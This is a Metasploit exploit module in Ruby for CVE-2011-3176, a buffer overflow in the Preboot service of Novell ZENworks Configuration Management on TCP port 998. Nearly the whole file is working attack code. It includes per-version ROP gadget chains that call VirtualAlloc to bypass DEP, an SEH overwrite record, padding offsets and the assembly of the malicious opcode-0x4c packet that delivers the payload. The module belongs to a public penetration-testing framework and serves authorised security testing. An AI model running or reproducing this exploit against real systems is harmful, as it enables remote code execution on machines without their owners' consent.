##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management. The vulnerability exists in the Preboot service and can be triggered
        by sending a specially crafted packet with the opcode 0x4c
        (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully
        tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server
        2003 SP2 (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3176' ],
          [ 'OSVDB', '80231' ],
          [ 'BID', '52659' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=974' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'Space'=> 994,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1148,
              'OffsetRop'         => 4,
              'Ret'               => 0x100012e9 # add esp, 1204 # ret from zenimgweb.dll
            }
          ],
          [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1136,
              'Ret'               => 0x100012e9 # add esp, 0x41c # ret - zenimgweb.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-02-22',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(998)])
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  # rop chain generated with mona.py
  def create_rop_chain()


    if target.name =~ /Novell ZENworks Configuration Management 10 SP3/
      rop_gadgets =
        [
          0x100066b1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
          0x00001000, # 0x00001000-> edx
          0x100239df, # POP ECX # RETN [zenimgweb.dll]
          0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
          0x10018653, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          0x1002a38f, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
          0x00423ddd, # POP EBP # RETN [novell-pbserv.exe]
          0x10007b22, # & push esp #  ret  [zenimgweb.dll]
          0x100235dc, # POP EBX # RETN [zenimgweb.dll]
          0x00000001, # 0x00000001-> ebx
          0x0041961a, # POP ECX # RETN [novell-pbserv.exe]
          0x00000040, # 0x00000040-> ecx
          0x1004702b, # POP EDI # RETN [zenimgweb.dll]
          0x1001d001, # RETN (ROP NOP) [zenimgweb.dll]
          0x10011217, # POP EAX # RETN [zenimgweb.dll]
          nop,
          0x10018ec8, # PUSHAD # RETN [zenimgweb.dll]
        ].pack("V*")
    else # Novell ZENworks Configuration Management 10 SP2
      rop_gadgets =
        [
          0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
          0x00001000, # 0x00001000-> edx
          0x10062113, # POP ECX # RETN [zenimgweb.dll]
          0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
          0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          junk,       # Filler (compensate)
          0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
          0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
          0x10043053, # & push esp #  ret  [zenimgweb.dll]
          0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
          0x00000001, # 0x00000001-> ebx
          0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
          0x00000040, # 0x00000040-> ecx
          0x1003173e, # POP EDI # RETN [zenimgweb.dll]
          0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
          0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
          nop,
          0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
        ].pack("V*")
    end

    return rop_gadgets
  end

  def exploit
    connect

    buf = "A" * 4
    buf2 = "B" * 4
    buf3 = "C" * 4

    buf4 = create_rop_chain
    buf4 << payload.encoded
    buf4 << "D" * (target['Offset'] - buf4.length)
    buf4 << generate_seh_record(target.ret)
    buf4 << "F" * (target['OffsetBottomStack'] - buf4.length)

    my_buf = ""
    buf4.unpack("C*").each {|b|
      my_buf << [b].pack("C")
      my_buf << rand_text(1)
    }

    packet =  [0x4c].pack("N") # Opcode 0x4C
    packet << [buf.length].pack("N") # Length
    packet << buf # Value
    packet << [buf2.length].pack("N") # Length
    packet << buf2 # Value
    packet << [buf3.length].pack("N") # Length
    packet << buf3 # Value
    packet << [my_buf.length].pack("N") # Length
    packet << my_buf # Value

    sock.put(packet)

    disconnect
  end
end
